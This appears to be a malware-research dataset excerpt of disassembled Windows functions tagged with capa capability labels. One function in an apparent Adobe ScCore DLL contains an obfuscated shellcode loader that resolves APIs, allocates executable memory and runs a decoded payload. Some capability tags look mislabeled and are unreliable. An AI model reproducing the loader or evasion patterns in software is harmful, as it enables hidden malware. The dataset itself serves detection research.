joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414cde
Capabilities:
Hash data using sha256

Disassembly:
and dword [eax + 0x20], 0
and dword [eax + 0x24], 0
mov dword [eax], 0x6a09e667
mov dword [eax + 4], 0xbb67ae85
mov dword [eax + 8], 0x3c6ef372
mov dword [eax + 0xc], 0xa54ff53a
mov dword [eax + 0x10], 0x510e527f
mov dword [eax + 0x14], 0x9b05688c
mov dword [eax + 0x18], 0x1f83d9ab
mov dword [eax + 0x1c], 0x5be0cd19
ret

Function at 0x414f4c
Capabilities:
Hash data using sha256

Disassembly:
push ebx
push edi
mov edi, dword [esi + 0x20]
and edi, 0x3f
mov ebx, eax
mov byte [edi + esi + 0x28], 0x80
jmp 0x414f6e
and edi, 0x3f
jne 0x414f69
push esi
call fcn.00414d1e
pop ecx
mov byte [esi + edi + 0x28], 0
inc edi
cmp edi, 0x38
jne 0x414f5d
mov eax, dword [esi + 0x20]
mov ecx, dword [esi + 0x24]
shld ecx, eax, 3
shl eax, 3
bswap ecx
bswap eax
push esi
mov dword [esi + 0x60], ecx
mov dword [esi + 0x64], eax
call fcn.00414d1e
pop ecx
xor ecx, ecx
mov eax, dword [esi + ecx*4 + 4]
mov edx, dword [esi + ecx*4]
bswap edx
bswap eax
mov dword [ebx], edx
mov dword [ebx + 4], eax
add ecx, 2
add ebx, 8
cmp ecx, 8
jb 0x414f94
pop edi
mov eax, esi
pop ebx
jmp fcn.00414cde

Function at 0x4152bf
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0x10]
mov edx, dword [eax]
push edi
xor edi, edi
and edx, 7
cmp ecx, 5
jae 0x4152db
xor eax, eax
jmp 0x4153ed
mov eax, dword [ebp + 8]
add dword [ebp + 0xc], 5
sub ecx, 4
add ecx, eax
push ebx
mov dword [ebp - 4], ecx
push esi
lea esi, [edi + eax]
jmp 0x4152fc
mov cl, byte [esi]
and cl, 0xfe
cmp cl, 0xe8
je 0x415301
inc esi
cmp esi, dword [ebp - 4]
jb 0x4152f1
mov ecx, esi
sub ecx, edi
mov edi, esi
sub ecx, eax
sub edi, eax
cmp esi, dword [ebp - 4]
jae 0x4153d7
cmp ecx, 2
jbe 0x415354
xor edx, edx
movzx ecx, byte [esi + 4]
lea ebx, [ecx + 1]
test bl, 0xfe
jne 0x415373
movzx ebx, byte [esi + 3]
movzx eax, byte [esi + 2]
shl ecx, 8
or ebx, ecx
shl ebx, 8
or ebx, eax
movzx eax, byte [esi + 1]
shl ebx, 8
or ebx, eax
mov eax, dword [ebp + 0xc]
add eax, edi
add edi, 5
cmp dword [ebp + 0x14], 0
je 0x41537e
add ebx, eax
jmp 0x415380
shr edx, cl
test edx, edx
je 0x41531b
cmp edx, 4
ja 0x415373
cmp edx, 3
je 0x415373
mov ecx, edx
shr ecx, 1
movzx ecx, byte [ecx + esi + 1]
inc ecx
test cl, 0xfe
jne 0x41531b
or edx, 8
shr edx, 1
inc edi
jmp 0x4152ec
sub ebx, eax
test edx, edx
je 0x4153b1
and edx, 6
shl edx, 2
mov ecx, edx
mov edx, ebx
shr edx, cl
mov dword [ebp - 8], ecx
inc edx
test dl, 0xfe
jne 0x4153af
mov edx, 0x100
shl edx, cl
dec edx
xor ebx, edx
cmp dword [ebp + 0x14], 0
je 0x4153ad
add ebx, eax
jmp 0x4153af
sub ebx, eax
xor edx, edx
mov eax, ebx
shr eax, 8
mov byte [esi + 2], al
mov eax, ebx
mov byte [esi + 1], bl
shr ebx, 0x18
shr eax, 0x10
and bl, 1
neg bl
mov byte [esi + 3], al
mov eax, dword [ebp + 8]
mov byte [esi + 4], bl
jmp 0x4152ec
push 2
pop eax
shr edx, cl
cmp eax, ecx
mov ecx, dword [ebp + 0x10]
sbb eax, eax
not eax
and eax, edx
pop esi
mov dword [ecx], eax
mov eax, edi
pop ebx
pop edi
leave
ret
Function at 0x421586
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42cac0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0041ffa5
and dword [ebp - 0x14], 0
cmp dword [0x42db54], 0
mov dword [ebp - 0x18], eax
jne 0x421639
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4216e1
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4216e1
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42db54], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42db58], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42db5c], eax
call edi
push eax
call esi
mov dword [0x42db64], eax
test eax, eax
je 0x421639
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42db60], eax
mov eax, dword [0x42db60]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x421692
cmp dword [0x42db64], ecx
je 0x421692
push eax
call esi
push dword [0x42db64]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x421692
test ebx, ebx
je 0x421692
call edi
test eax, eax
je 0x421689
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x421689
test byte [ebp - 8], 1
jne 0x421692
or dword [ebp + 0x10], 0x200000
jmp 0x4216c5
mov eax, dword [0x42db58]
cmp eax, dword [ebp - 0x18]
je 0x4216c5
push eax
call esi
test eax, eax
je 0x4216c5
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4216c5
mov eax, dword [0x42db5c]
cmp eax, dword [ebp - 0x18]
je 0x4216c5
push eax
call esi
test eax, eax
je 0x4216c5
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42db54]
call esi
test eax, eax
je 0x4216e1
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4216e3
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004218f1
leave
ret

Function at 0x4218f1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42cac0]
jne 0x4218fb
repz ret
jmp fcn.0042294b
Function at 0x401de0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x10], eax
jmp 0x401e12
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x18], 0
je 0x401e39
cmp dword [ebp - 0xc], 0
jne 0x401e39
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x18]
push eax
call fcn.00401e50
add esp, 8
mov dword [ebp - 0xc], eax
jmp 0x401e0a
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret

Function at 0x401e50
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + 0x3c]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00401e40
add esp, 8
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
add ecx, 0x78
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x401e97
xor eax, eax
jmp 0x401f4c
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401e40
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x1c]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0xc], 0
jbe 0x401f49
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax + edx*4 - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401e40
add esp, 8
mov dword [ebp - 0x18], eax
push 0x37
mov eax, dword [ebp - 0x18]
push eax
push 0x14
call fcn.00401f70
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp + 0xc]
jne 0x401f38
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x34]
movzx ecx, word [eax + edx*2 - 2]
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx*4]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401e40
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
jmp 0x401f4c
mov edx, dword [ebp - 0xc]
sub edx, 1
mov dword [ebp - 0xc], edx
je 0x401f49
cmp dword [ebp - 0x10], 0
je 0x401edd
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret

Function at 0x4023e5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40b120]
jne 0x4023ef
repz ret
jmp fcn.004028b4
Function at 0x404983
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00403862
and dword [ebp - 4], 0
cmp dword [0x40c690], 0
mov ebx, eax
jne 0x404a34
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x404ae5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x404ae5
push eax
call fcn.004037f0
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40c690], eax
call esi
push eax
call fcn.004037f0
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40c694], eax
call esi
push eax
call fcn.004037f0
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40c698], eax
call esi
push eax
call fcn.004037f0
pop ecx
mov dword [0x40c6a0], eax
test eax, eax
je 0x404a34
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004037f0
pop ecx
mov dword [0x40c69c], eax
mov eax, dword [0x40c69c]
cmp eax, ebx
je 0x404a8c
cmp dword [0x40c6a0], ebx
je 0x404a8c
push eax
call fcn.0040386b
push dword [0x40c6a0]
mov esi, eax
call fcn.0040386b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x404a8c
test edi, edi
je 0x404a8c
call esi
test eax, eax
je 0x404a83
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x404a83
test byte [ebp - 0xc], 1
jne 0x404a8c
or dword [ebp + 0x10], 0x200000
jmp 0x404ac5
mov eax, dword [0x40c694]
cmp eax, ebx
je 0x404ac5
push eax
call fcn.0040386b
pop ecx
test eax, eax
je 0x404ac5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x404ac5
mov eax, dword [0x40c698]
cmp eax, ebx
je 0x404ac5
push eax
call fcn.0040386b
pop ecx
test eax, eax
je 0x404ac5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40c690]
call fcn.0040386b
pop ecx
test eax, eax
je 0x404ae5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x404ae7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000db80
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10057176
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push esi
push edi
mov eax, dword [0x10082d0c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [esi + 4]
cmp dword [eax + 0x18], 0
je 0x1000dcaf
push dword [ebp + 8]
lea ecx, [ebp - 0x10]
call fcn.100348c0
mov edi, dword [esi + 4]
mov dword [ebp - 4], 0
call sym.ScCore.dll_public:_static_class_ScCore::Encoder_const____cdecl_ScCore::Encoder::getBinary_void_
cmp dword [edi + 0x14], eax
mov eax, edi
setne cl
cmp byte [ebp + 0xc], 0
je 0x1000dbf0
test cl, cl
je 0x1000dbf0
push dword [edi + 0x2c]
lea ecx, [ebp - 0x10]
call fcn.100348c0
mov eax, dword [esi + 4]
push dword [eax + 0x14]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x10]
call fcn.100348c0
mov edi, eax
test edi, edi
jne 0x1000dc30
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x1000dc30
mov eax, dword [esi + 4]
push dword [eax + 0x18]
push 1
push ecx
push dword [ebp - 0x18]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
mov ecx, 0x34
cmp eax, 1
cmovne edi, ecx
mov eax, dword [esi + 4]
push dword [eax + 0x18]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ferror]
mov ecx, dword [esi + 4]
add esp, 4
push dword [ecx + 0x18]
test eax, eax
je 0x1000dc74
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_clearerr]
add esp, 4
lea ecx, [ebp - 0x10]
mov edi, 0x34
call fcn.100348c0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__ftelli64]
mov ecx, dword [esi + 4]
add esp, 4
cmp edx, dword [ecx + 0x24]
jl 0x1000dc92
jg 0x1000dc8c
cmp eax, dword [ecx + 0x20]
jbe 0x1000dc92
mov dword [ecx + 0x20], eax
mov dword [ecx + 0x24], edx
lea ecx, [ebp - 0x10]
call fcn.100348c0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, 0x32
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x1000de00
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005719c
mov eax, dword fs:[0]
push eax
sub esp, 0x820
mov eax, dword [0x10082d0c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x820], ebx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x814], eax
mov eax, dword [ebx]
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x1005c2f4]
mov ecx, ebx
call esi
lea eax, [ebp - 0x828]
push eax
lea eax, [ebp - 0x82c]
push eax
mov eax, dword [ebx + 4]
add eax, 4
push eax
call fcn.100348c0
add esp, 0xc
test eax, eax
jne 0x1000e004
push 0x10060560
push dword [ebx + 4]
call fcn.100348c0
mov edi, eax
add esp, 8
test edi, edi
jne 0x1000e009
mov eax, dword [ebx + 4]
push 2
push 0
push 0
mov edi, dword [eax + 0x18]
push edi
mov dword [ebp - 0x824], edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__fseeki64]
add esp, 0x10
test eax, eax
jne 0x1000ded4
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__ftelli64]
push 0
push 0
push 0
push edi
mov esi, eax
mov ebx, edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__fseeki64]
add esp, 0x14
test eax, eax
je 0x1000deef
mov ebx, dword [ebp - 0x820]
mov eax, dword [ebx]
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x1005c2f4]
mov ecx, ebx
call esi
mov eax, 0x34
jmp 0x1000e00b
push dword [ebp - 0x814]
lea ecx, [ebp - 0x81c]
call fcn.100348c0
push 0x10060570
push dword [ebp - 0x818]
mov dword [ebp - 4], 0
call fcn.100348c0
mov edi, eax
add esp, 8
test edi, edi
jne 0x1000dfd9
mov eax, dword [ebp - 0x818]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x814], eax
mov eax, esi
or eax, ebx
je 0x1000df99
mov eax, 0x800
nop
push dword [ebp - 0x824]
cmp esi, 0x800
mov edi, esi
push 1
cmova edi, eax
lea eax, [ebp - 0x810]
push edi
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
test eax, eax
je 0x1000dffd
push dword [ebp - 0x814]
lea eax, [ebp - 0x810]
push 1
push edi
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
test eax, eax
je 0x1000dffd
sub esi, edi
mov eax, esi
sbb ebx, 0
or eax, ebx
mov eax, 0x800
jne 0x1000df40
lea ecx, [ebp - 0x81c]
call sym.ScCore.dll_public_virtual:_int___thiscall_ScCore::File::close_void_
mov edi, eax
test edi, edi
jne 0x1000dfd9
mov eax, dword [ebp - 0x818]
add eax, 4
push eax
call fcn.100348c0
push dword [ebp - 0x828]
mov eax, dword [ebp - 0x818]
push dword [ebp - 0x82c]
add eax, 4
push eax
call fcn.10033ac0
add esp, 0x10
mov edi, eax
mov ebx, dword [ebp - 0x820]
mov eax, dword [ebx]
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x1005c2f4]
mov ecx, ebx
call esi
lea ecx, [ebp - 0x81c]
call sym.ScCore.dll_public_virtual:_void___thiscall_ScCore::File::destructor_void_
jmp 0x1000e009
mov edi, 0x34
jmp 0x1000dfd9
mov edi, 0x30
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100544a0
mov esp, ebp
pop ebp
ret 4
Function at 0x10010090
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push 0
push 0
call fcn.100348c0
cwde
test eax, eax
je 0x100100c2
mov ecx, dword [esi]
and al, 3
pop esi
cmp al, 2
jne 0x100100b9
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.10033310
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.10033540
mov eax, 0x30
pop esi
pop ebp
ret
Function at 0x100348c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x100348cf
pop dword [ebp - 0x20]
mov eax, 0xf3abb6b9
add eax, 0x1c579216
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x90594528
sub dword [ebp - 0x30], 0x4206ffdd
mov dword [ebp - 0x2c], 0xd3d12727
add dword [ebp - 0x2c], 0x5e62251e
mov dword [ebp - 0x28], 0xe2fcd96c
sub dword [ebp - 0x28], 0x96b0953e
mov dword [ebp - 0x24], 0x222fb8ee
add dword [ebp - 0x24], 0xddd04712
lea eax, [ebp - 0x30]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x7ce5f323
sub dword [ebp - 0x30], 0x87389cd
mov dword [ebp - 0x2c], 0x2bfa3bd8
sub dword [ebp - 0x2c], 0xea8dda63
mov dword [ebp - 0x28], 0x7d409e78
sub dword [ebp - 0x28], 0x19d1320c
mov dword [ebp - 0x24], 0x6008f4fd
sub dword [ebp - 0x24], 0x6008f4fd
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x88b5fa18
add eax, 0x874fc604
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x4d213
push 0
call eax
mov ecx, 0xada00cda
sub ecx, 0xad9fdd60
xor esi, esi
add esi, eax
mov edi, 0x10091c00
add edi, dword [ebp - 0x20]
mov edx, 0xd23c06eb
sub dword [ebp - 4], 0x545b78cf
mov ebx, dword [edi]
xor dword [ebp - 4], esi
add ebx, edx
xor dword [ebp - 0x1c], ecx
mov dword [esi], ebx
sub dword [ebp - 4], 0xd567fbd9
add esi, 0x6d9ef48e
add esi, 0x92610b76
add edi, 0xd9bd0e1e
add edi, 0x2642f1e6
loop 0x100349e2
add eax, 0xb0bb
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x10035310
Capabilities:
Get graphical window text
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18c
mov eax, dword [0x10082d0c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
call fcn.100348c0
mov ebx, eax
test ebx, ebx
je 0x1003547c
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
test edi, edi
je 0x1003535c
push 4
push edi
call dword [sym.imp.USER32.dll_GetWindow]
test eax, eax
jne 0x10035358
push edi
call dword [sym.imp.USER32.dll_GetParent]
test eax, eax
je 0x1003535c
mov edi, eax
jmp 0x10035340
push 0x100
lea eax, [ebp - 0x184]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x10035474
push 0x80
lea eax, [ebp - 0x84]
push eax
push edi
call dword [sym.imp.USER32.dll_GetClassNameA]
test eax, eax
je 0x10035474
lea eax, [ebp - 0x184]
push eax
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
cmp eax, edi
jne 0x10035474
test edi, edi
je 0x10035474
push esi
push 0xfffffffffffffffc
push edi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push edi
mov esi, eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push ebx
mov edi, eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test esi, esi
mov dword [ebp - 0x188], eax
pop esi
je 0x10035474
cmp eax, edi
je 0x10035474
push 1
push edi
push eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
test eax, eax
je 0x10035421
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0
push edi
push dword [ebp - 0x188]
call dword [sym.imp.USER32.dll_AttachThreadInput]
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100544a0
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2000
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 2
lea eax, [ebp - 0x188]
mov dword [ebp - 0x188], 0
push eax
push 0
push 0x2001
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 2
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.100544a0
mov esp, ebp
pop ebp
ret
Function at 0x100354a0
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov esi, eax
test esi, esi
jne 0x100354cb
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
push dword [ebp - 0xc]
push esi
call fcn.100348c0
add esp, 8
mov dword [ebp - 8], eax
test eax, eax
je 0x100354f4
push eax
call dword [sym.imp.USER32.dll_IsWindowEnabled]
mov edx, dword [ebp - 8]
test eax, eax
cmove edx, esi
mov dword [ebp - 8], edx
test edx, edx
jne 0x1003550a
lea eax, [ebp - 0xc]
push eax
push 0x10035590
call dword [sym.imp.USER32.dll_EnumWindows]
mov edx, dword [ebp - 8]
test edx, edx
je 0x10035551
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10083c98]
mov dword [ebp - 4], edx
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x10083c10]
cmp eax, dword [ecx + 4]
jg 0x10035558
jmp 0x1003552e
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
push 0
push dword [0x10083c0c]
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
mov ecx, dword [ebp - 8]
test eax, eax
pop esi
cmovne ecx, dword [ebp - 4]
mov eax, ecx
mov esp, ebp
pop ebp
ret
mov eax, edx
pop esi
mov esp, ebp
pop ebp
ret
push 0x10083c10
call fcn.100348c0
add esp, 4
cmp dword [0x10083c10], 0xffffffff
jne 0x1003552b
push str.adobe.sccore.get.dialog.owner
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
push 0x10083c10
mov dword [0x10083c0c], eax
call fcn.100348c0
add esp, 4
jmp 0x1003552b

Function at 0x100356d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005ac13
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x10082d0c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
mov dword [esi], vtable.ScCore::Thread.0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 1
call fcn.100348c0
mov edi, eax
mov ebx, edx
lea eax, [ebp - 0x10]
push eax
push 4
push esi
push sym.ScCore.dll_private:_static_unsigned_int___stdcall_ScCore::Thread::go_void__
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x18
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x10035768
mov dword [esi + 0xc], 0x20
mov eax, esi
mov dword [esi + 8], 0
mov dword [esi + 4], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov dword [esi + 8], eax
mov eax, dword [0x10083ae8]
test eax, eax
jne 0x1003577c
call sym.ScCore.dll_public:_static_class_ScCore::Context____cdecl_ScCore::Context::get_void_
mov dword [eax + 0x58], edi
mov dword [eax + 0x5c], ebx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10035810
Capabilities:
Resume thread

Disassembly:
cmp dword [ecx + 0xc], 0
jne 0x1003581f
push dword [ecx + 4]
call dword [sym.imp.kernel32.dll_ResumeThread]
ret
Function at 0x10035b60
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x10083c3c]
test eax, eax
jne 0x10035bc9
push dword [0x100829d0]
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
jne 0x10035bc9
push esi
push 0x178
call fcn.100348c0
add esp, 4
test eax, eax
je 0x10035b96
mov ecx, eax
call fcn.100348c0
mov esi, eax
jmp 0x10035b98
xor esi, esi
cmp byte [0x10083c38], 0
jne 0x10035bb2
mov ecx, esi
mov dword [0x10083c3c], esi
call fcn.1001d6f0
mov eax, esi
pop esi
ret
push esi
push dword [0x100829d0]
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov ecx, esi
call fcn.1001d6f0
mov eax, esi
pop esi
ret

Function at 0x10035bd0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x100829d0]
cmp eax, 0xffffffff
je 0x10035c26
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
test esi, esi
je 0x10035c17
mov ecx, dword [0x10083c3c]
xor eax, eax
cmp esi, ecx
cmove ecx, eax
mov dword [0x10083c3c], ecx
mov ecx, esi
call fcn.1001d720
mov ecx, esi
call fcn.1001d6c0
push 0x178
push esi
call fcn.100348c0
add esp, 8
push 0
push dword [0x100829d0]
call dword [sym.imp.kernel32.dll_TlsSetValue]
pop esi
ret